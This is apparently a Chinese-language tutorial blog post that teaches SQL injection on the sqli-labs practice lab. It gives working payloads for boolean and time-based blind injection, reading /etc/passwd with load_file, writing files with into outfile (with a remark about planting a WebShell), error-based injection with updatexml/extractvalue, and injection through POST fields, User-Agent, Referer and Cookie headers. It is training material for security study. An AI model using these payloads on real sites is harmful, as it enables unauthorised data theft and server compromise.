当前位置:   article > 正文

漏洞篇(SQL注入二)_mariadb 注入

mariadb 注入

目录

一、SQL 注入-盲注

1、基于布尔的盲注

2、基于时间的盲注

二、SQL 注入读写文件

1、SQL 注入读取/etc/passwd 文件

2、SQL 注入写入文件

三、基于报错的 SQL 注入

1、extractvalue()

2、updetaxml()

3、主键重复

四、使用 burpsuite 进行 SQL 注入

1、POST 方式注入

2、POST方式的盲注

(1)POST 方式的布尔型盲注

(2)POST 方式的时间盲注

(3)HTTP 请求头中的 sql 注入


一、SQL 注入-盲注

1、基于布尔的盲注

length 函数的使用方法:用于在 MySQL 中计算字段的长度,一个汉字是算 3 个字符,一个数字或字 母算 1 个字符。
例1:
MariaDB [security]> select username,password from users where id=1 and
( length(database()) = 8);

由以上的返回结果可以看到可以正常执行。  

下面进行 sql 注入:
Less-8 到 Less10 都是 GET 方式的盲注,只是闭合的方式不太一样。
http://192.168.1.101/sqli-labs/Less-8/?id=1' and (length(database())=8) --+
        
        
我们通过构造一个判断条件 ( length(database()) = 8) 判断目标是否满足条件,满足条件则执行成
功,不满足则执行失败。
database()是当前数据库名称
length(database())取出数据库名称的长度
< = > 分别为大于、等于、小于,用来判断是否满足条件。用来猜解。
我们已经知道数据库名称是 security 所以设定条件<=8 都可以正常登录。
猜解 8 个字符的具体数值。
substr(database(),1,1) 表示取出数据库名称的第一个字符,第一个 1 表示从第几个字符开始,第
二个 1 表示取几个字符,我们猜解出一个值之后就要把第一个值+1 用来猜解第二个值。
例如:security 数据库
MariaDB [security]> select substr(database(),1,1);
        
        
ascii( substr(database(),1,1) ) >8 将取出的字符转码为 ASCII 码,后面的>8 也是用来判断 ASCII
数值的,所以最终取出的结果应该对照 ASCII 表来查找具体是哪个字符。
ASCII 表: https://baike.baidu.com/item/ASCII/309296?fr=aladdin
取值范围思路: 先使用<>大于号小于号确定范围,然后一直缩小范围,当范围缩小到个位数就可以 用=号来判断具体数值。

http://192.168.1.101/sqli-labs/Less-8/?id=1' and (ascii(substr(database(),1,1)) =115) --+

最终数值 115 对照 ASCII 表

 一共有 8 位所以我们要猜 8 次,这里只是为了讲解原理,实际场景中我们使用 SQLMAP 来进行自动化探测。结论最终=(等号)测出来的数据对照 ASCII 表即可得出准确的数据。

        

2、基于时间的盲注

基于布尔的判断是根据我们构造语句返回的 True 或者 False 来判断数据内容。
基于时间的则是使用 if 语句进行判断数值,不符合判断条件则执行 sleep 语句。从而造成页面的响 应时间变长,根据页面的响应时间来判断结果。
        
例 1:符合判断条件
先到 MySQL 中测试一下:
MariaDB [security]> select * from users where id=1 and
if(ascii(substr(database(),1,1))=115,1,sleep(3));

 sleep(3)表示进程休眠 3 秒。时间可以任意修改。但是为了不影响效率可以尽可能的缩短时间。

再到页面中进行 SQL 注入:
http://192.168.1.101/sqli-labs/Less-8/?id=1' and 
if(ascii(substr(database(),1,1))=115,1,sleep(3))--+
        

        

响应时间不到 1 秒。
语句逻辑分析:当 if()中的条件满足时,则直接返回,如果不满足时,则走 sleep,页面的响应时 间根据所指定时长返回,从而可以判断注入的语句是否执行成功。
        
如果条件不符合
        

        

if 语句分析:
以 and if(ascii(substr(database(),1,1))=115,1,sleep(3)) 语句分为三段
if(ascii(substr(database(),1,1))=115         #指定的条件
,1         #表示 if 条件成立后,则执行的内容,这里的执行的内容和语句中的 and 或 or 有很大关系
sleep(3)         #表示当 if 条件不成立时执行的内容,sleep 表示休眠,( 3)休眠时间,秒为单位
        
        

二、SQL 注入读写文件

1、SQL 注入读取/etc/passwd 文件

在 MySQL 中读取文件,使用 load_file("文件路径/名称")
MariaDB [security]> select * from users where id=-1 union select 1,load_file("/etc/passwd"),3\G
        
        
        
访问到 Less-1 页面:
http://192.168.1.101/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 --+        
        
使用 union 联合查询,在可输出位置执行 load_file 函数来读取文件。
        

2、SQL 注入写入文件

into outfile 语句用于把表数据导出到一个文本文件中
用法:select * from Table into outfile '/路径/文件名'
        
例:
MariaDB [security]> select * from users into outfile "/var/lib/mysql/1.txt";
Query OK, 13 rows affected (0.00 sec)
        
打开另一个终端查看导入的文件:        
可以看到把以上查询 users 表中的内容保存到文件中,由此我们可以利用此方法通过 sql 注入向系统 中写入文件
         
拓展:这里因为 mysql 权限问题我们只能上传文件到 mysql 数据目录下,如果可以上传文件到网站 根目录下,我们就可以直接上传一个 WebShell 获得权限。

        

三、基于报错的 SQL 注入

1、extractvalue()

extractvalue(xml_document,xpath_string)

第一个参数是xml文档对象的名称

第二个参数作用是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。

例:

http://192.168.1.101/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7,(sqli_inject),0x7e))--+

sqli_inject = select group_concat(table_name) from information_schema.tables where table_schema='security'

注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”~“号。

注意:前面说过extractvalue()最大返回长度为32,所以可以用limit N,1 一行一行的回显。

如:sqli_inject = select table_name from information_schema.tables where table_schema='security' limit 0,1

2、updetaxml()

updatexml(xml_document,xpath_string,new_value)

第一个参数,xml文档名称

第二个参数,xpath格式字符串

第三个参数,替换查找到的符合条件的数据

        作用是,改变文档中符合条件的节点的值

payload:updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)

3、主键重复

http://192.168.1.101/sqli-labs/Less-5/?id= 0' union select 1,2,3 from (select 
count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 
0,1),floor(rand(0)*2)) x from information_schema.tables group by x) root--+

我们可以看到我们利用 SQL 报错信息输出了我们想要的值。而这个过程是比较复杂的。我们简化一 下 SQL 语句来方便我们理解。
select count(*),(floor(rand(0)*2))x from table group by x;
构建错误的函数说明:
rand()随机函数,返回 0~1 之间的某个值
floor(a)取整函数,返回小于等于 a,且值最接近 a 的一个整数
count()聚合函数也称作计数函数,返回查询对象的总数
group by clause 分组语句,按照查询结果分组
        
        

四、使用 burpsuite 进行 SQL 注入

1、POST 方式注入

bp抓取

用户名密码信息在这里被提交到服务器端进行查询,我们可以使用 burpsuite 来对数据包进行修
改。空白处点击右键选择 Send to Repeater 或者使用快捷键 Ctrl+R
        

Repeater——是一个靠手动操作来补发单独的 HTTP 请求,并分析应用程序响应的工具。
Repeater [r ɪˈ pi ː t ə r] 中继器
我们修改表单中提交的内容来进行 SQL 注入
改:
uname=admin&passwd=123456&submit=Submit
为:
uname=admin&passwd=123456 \ &submit=Submit
        
修改完成点击 Send 发送数据包返回 SQL 语句错误信息。
        

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''123456 \' LIMIT 0,1' at line 1
可以看到我们转义符转义了一个单引号,表示当前位置是使用单引号进行闭合的。
        
我们可以使用单引号字符注入来构造一个万能密码。
uname=admin&passwd=123456 'or 1=1 --+ &submit=Submit
        

         

注意:
容易误导的问题 uname=admin&passwd=123456 'or 1=1 ,其中
uname=admin&passwd=123456 中的&并非是 SQL 语句中的&,只是 HTTP 请求包格式,实际
上,uname 和 passwd 两个参数当中的值,最终是传递到程序中的 SQL 中
我们可以看到 GET 方式和 POST 方式的区别,GET 方式可以明显的从 URL 中进行注入,而 POST 可以在数据包中进行修改对应的字段来进行 SQL 注入。

        

2、POST方式的盲注

(1)POST 方式的布尔型盲注

Less-15
修改字段进行 SQL 注入根据返回的图片来验证是否满足条件。
uname=admin ' and (length(database())=8) --+&passwd=admin&submit=Submit

(2)POST 方式的时间盲注

uname=admin ' and (select if(length(database())>1,sleep(3),null))-- + &passwd=admin&submit=Submit
        

根据右下角的页面响应时间来进行判断条件是否满足。
if 判断语句解释:
if(length(database())>1,sleep(3),null))         #条件成功则睡眠 3 秒,否则直接返回
length(database())>1                                   #判断条件
sleep(3)                                                        #当条件成功时,则执行的内容
null                                                               #当条件不成功时执行的内容
        

(3)HTTP 请求头中的 sql 注入

        
HTTP 头注入原理
我们先前学习的都是用户输入的某个参数传递到了数据库中,实际场景中服务器可能收集我们用户的 很多信息存入到数据库中,比如用户的 IP、用户使用的什么浏览器?用户使用的什么操作系统?这些信 息就是通过 HTTP Header 传递给服务器的。如果服务器直接将请求头中的某些信息保存到数据库中就 可能存在 sql 注入。
Less-18
截取数据包       
        

POST /sqli-labs/Less-18/ HTTP/1.1
Host: 192.168.1.105
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.1.105
Connection: close
Referer: http://192.168.1.105/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="108", "Chromium";v="108", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0

uname=admin&passwd=admin&submit=Submit

Content-Length: 38
#表示当前数据包传输的数据长度,对应是 data 段的内容:
uname=admin&passwd=admin&submit=Submit
        
通过 wc -L 统计字符串长度。可以看到长度一致。如果数据长度和请求头中的参数不匹配就会导致
报错。不要尝试用 burpsuite 修改,改完之后在发送数据包时 burpsuite 会自动修正该值。
        
[root@localhost ~]# echo "uname=admin&passwd=admin&submit=Submit" |wc -L
 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/96.0.4664.110 Safari/537.36
        
浏览器用来告诉服务器,客户端使用的操作系统、版本、CPU 类型、浏览器及版本等信息。
Mozilla / 5.0 表示浏览器兼容 Mozilla 的通用标记,并且几乎适用于今天的所有浏览器。
Windows NT 10.0; Win64; x64 操作系统版本
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 是
Chrome 浏览器的 UA 字符串。
        
Content-Type: application/x-www-form-urlencoded
#客户端通知服务器实际发送了什么类型的数据。
application/x-www-form-urlencoded 是默认的表单类型,会将传输的特殊字符进行URL 编码。
        
Referer: http://192.168.1.105/sqli-labs/Less-18/
#Referer 告诉服务器该网页是从哪个页面链接过来的
其中 User-Agent Referer 中的信息可能被服务器收集,用于分析用户的偏好。然后改善自己的
产品。提升用户体验。例如用户 99%都是 Chrome 浏览器,那么网站对于 Chrome 浏览器的优化就能够很直接的带来用户体验的提升。当然不仅限于这两个参数,仅用于举例说明。
HTTP 头中的参数被带入数据库中执行就造成了 HTTP 头注入。

        

Ⅰ.HTTP User-Agent 注入
我们先分析源代码
        
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-18/index.php

 

我们发现 Less-18 的代码中对用户的输入进行了过滤,但是并没有对 HTTP 头信息进行过滤,此时 我们对 HTTP 头中的 User-Agent 进行修改,从而进行 SQL 注入攻击。
        

分析 User-Agent 中存在注入点,页面回显有报错信息,所以这里可以使用报错注入。

我们来查询数据库版本信息
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 ' and
updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
        

updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格式的字符串)
第三个参数:new_value,String 格式,替换查找到的符合条件的数据
        
语法说明: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
' and 用来拼接我们的 SQL 语句。
updatexml 的第一个参数和第三个参数是我们随意写的,第二个参数使用连接查询数据,第二个参 数我们查询的字符串不满足 Xpath 格式所以报错。
or '1'='1(注意这里少一个单引号)闭合最后的单引号否则整条语句报错连接查询不会被执行。
0x7e 是波浪号~可以修改成其他符号的 16 进制,或者也可以删掉。
        
extractvalue 用法
' or extractvalue(1,concat(0x7e,database())) or '1'='1
        
        
Ⅱ.HTTP Referer 注入
        
Less-19
源码分析:
其实和 Less-18 差不多只是$uagent 的值变成了 HTTP_REFERER,所以存在注入。而且本身
Less-19 也是支持 updatexml 的方式进行注入。
        
例 1:报错注入
Referer: http://192.168.1.105/sqli-labs/Less-19/ ' and
updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
        
例 2:盲注测试
Referer: http://192.168.1.105/sqli-labs/Less-19/ ' or (length(database())) =9 or if(1=1,
sleep(3), null) or '1' = '1
        
语句解释:
(length(database())) =9 or if(1=1, sleep(3), null) or '1' = '1 #语句中三个条件都为逻辑或当第一个条件不成功时,再执行第二个条件,第二个条也不成功时,则执行第三个。其中有一个条件执行成功时,则不会向后继续执行。
以上实验中,(length(database())) =9 条件不成功,而后执行了 if(1=1, sleep(3), null)条件,该
条件中的判断为 1=1,结果永远都是为真的,而后执行 sleep(3),最终页面响应时间是 3 秒
        
Ⅲ.Cookie 注入
Less-20
抓取到数据包我们点击放行我们需要抓取包含 Cookie 信息的 HTTP
        

回到 burp suite 上要可以看到抓到带有 cookie 的请求包,Cookie:uname=admin,而后使用
Ctrl+R 发送到 Repeater
        
在 Cookie:uname=admin 使用' or '1'='1 判断注入点,注意这里少一个单引号,为了不影响
SQL 语句正常执行。
Cookie: uname=admin' or '1'='1
        

使用 updatexml 报错注入获取数据库名称
Cookie: uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1) or '1'='1
        

        

最终可以通过 Cookie 进行注入成功
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/994681
推荐阅读
相关标签
  

闽ICP备14008679号